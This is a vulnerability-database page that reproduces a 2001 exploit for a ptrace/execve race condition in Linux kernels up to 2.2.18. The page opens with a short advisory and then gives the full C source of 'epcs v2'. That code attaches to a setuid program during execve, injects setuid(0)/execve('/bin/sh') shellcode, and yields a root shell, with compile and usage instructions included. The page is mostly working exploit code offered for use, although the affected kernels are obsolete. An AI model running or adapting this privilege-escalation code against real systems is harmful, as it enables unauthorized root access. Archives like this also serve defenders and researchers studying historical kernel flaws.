Lucene search
K

Linux kernel <= 2.2.18 ptrace/execve Race Condition Vulnerability (1)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Linux kernel ptrace/execve race condition vulnerability <= 2.2.1

Code

                                                source: http://www.securityfocus.com/bid/2529/info

The Linux kernel is the core of all distributions of the Linux Operating System. It was originally written by Linus Torvalds, and is maintained by a community of developers.

A problem in the Linux Kernel could make it possible for a local user to gain elevated privileges. A problem with the checking of process tracing on programs attempting to execute other programs that are setuid or setgid. It is possible to trace a process after it has entered a setuid or setgid execution state.

This makes it possible for a local user to change parts of the process as they function, and potentially gain elevated privileges. 

/*
 * epcs v2
 * ~~~~~~~
 * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
 *
 * (c) 2001 Wojciech Purczynski / cliph / &#60;[email protected]&#62;
 *
 * This sploit does _not_ use brute force. It does not need that.
 * It does only one attemt to sploit the race condition in execve. 
 * Parent process waits for a context-switch that occur after 
 * child task sleep in execve.
 *
 * It should work even on openwall-patched kernels (I haven&#39;t tested it).
 *
 * Compile it:
 *	cc epcs.c -o epcs
 * Usage:
 *	./epcs [victim] [address]
 *
 * It gives instant root shell with any of a suid binaries.
 *
 * If it does not work, try use some methods to ensure that execve
 * would sleep while loading binary file into memory,
 *
 * 	i.e.: cat /usr/lib/* &#62;/dev/null 2&#62;&1
 *
 * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
 * This exploit does not work on 2.4.x because kernel won&#39;t set suid 
 * privileges if user ptraces a binary.
 * But it is still exploitable on these kernels.
 *
 * Thanks to Bulba (he made me to take a look at this bug ;) )
 * Greetings to SigSegv team.
 *
 */

#include &#60;stdio.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;signal.h&#62;
#include &#60;linux/user.h&#62;
#include &#60;sys/wait.h&#62;
#include &#60;limits.h&#62;
#include &#60;errno.h&#62;
#include &#60;stdlib.h&#62;

#define CS_SIGNAL SIGUSR1
#define VICTIM &#34;/usr/bin/passwd&#34;
#define SHELL &#34;/bin/sh&#34;
#define SHELL_LEN &#34;\x07&#34;		/* strlen(SHELL) in hex */
#define SHELLCODE 0x00000000		/* address to put shellcode at */

/*
 * This is my private shellcode.
 * Offset 0x0a - executable&#39;s filename length.
 */
char shellcode[1024]=
	&#34;\xeb\xfe&#34;
	&#34;\x31\xc0\x31\xdb\xb0\x17\xcd\x80&#34;		/* setuid(0) */
	&#34;\x31\xc0\xb0\x2e\xcd\x80&#34;
	&#34;\x31\xc0\x50\xeb\x17\x8b\x1c\x24&#34;		/* execve(SHELL) */
	&#34;\x88\x43&#34; SHELL_LEN &#34;\x89\xe1\x8d\x54\x24&#34;
	&#34;\x04\xb0\x0b\xcd\x80\x31\xc0\x89&#34;
	&#34;\xc3\x40\xcd\x80\xe8\xe4\xff\xff&#34;
	&#34;\xff&#34; SHELL ;

volatile int cs_detector=0;

void cs_sig_handler(int sig)
{
	cs_detector=1;
}

void do_victim(char * filename)
{
	while (!cs_detector) ;
	kill(getppid(), CS_SIGNAL);
	execl(filename, filename, NULL);
	perror(&#34;execl&#34;);
	exit(-1);
}

int check_execve(pid_t victim, char * filename)
{
	char path[PATH_MAX+1];
	char link[PATH_MAX+1];
	int res;
	
	snprintf(path, sizeof(path), &#34;/proc/%i/exe&#34;, (int)victim);
	if (readlink(path, link, sizeof(link)-1)&#60;0) {
		perror(&#34;readlink&#34;);
		return -1;
	}
	
	link[sizeof(link)-1]=&#39;\0&#39;;
	res=!strcmp(link, filename);
	if (res) fprintf(stderr, &#34;Child slept outside of execve\n&#34;);
	return res;
}

int main(int argc, char * argv[])
{
	char * filename=VICTIM;
	pid_t victim;
	int error, i;
	unsigned long eip=SHELLCODE;
	struct user_regs_struct regs;

	if (argc&#62;1) filename=argv[1];
	if (argc&#62;2) eip=strtoul(argv[2], NULL, 16);

	signal(CS_SIGNAL, cs_sig_handler);

	victim=fork();
	if (victim&#60;0) {
		perror(&#34;fork: victim&#34;);
		exit(-1);
	}
	if (victim==0) do_victim(filename);

	kill(victim, CS_SIGNAL);
	while (!cs_detector) ;
	
	if (ptrace(PTRACE_ATTACH, victim)) {
		perror(&#34;ptrace: PTRACE_ATTACH&#34;);
		goto exit;
	}
	
	if (check_execve(victim, filename))
		goto exit;

	(void)waitpid(victim, NULL, WUNTRACED);
	if (ptrace(PTRACE_CONT, victim, 0, 0)) {
		perror(&#34;ptrace: PTRACE_CONT&#34;);
		goto exit;
	}

	(void)waitpid(victim, NULL, WUNTRACED);
	
	if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) {
		perror(&#34;ptrace: PTRACE_GETREGS&#34;);
		goto exit;
	}

	regs.eip=eip;
	
	for (i=0; i&#60;strlen(shellcode); i+=4) {
		if (ptrace(PTRACE_POKEDATA, victim, regs.eip+i,
						    *(int*)(shellcode+i))) {
			perror(&#34;ptrace: PTRACE_POKETEXT&#34;);
			goto exit;
		}
	}

	if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) {
		perror(&#34;ptrace: PTRACE_GETREGS&#34;);
		goto exit;
	}

	fprintf(stderr, &#34;Bug exploited successfully.\n&#34;);
	
	if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
		perror(&#34;ptrace: PTRACE_CONT&#34;);
		goto exit;
	}

	(void)waitpid(victim, NULL, 0);
	return 0;
	
exit:
	fprintf(stderr, &#34;Error!\n&#34;);
	kill(victim, SIGKILL);
	return -1;
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation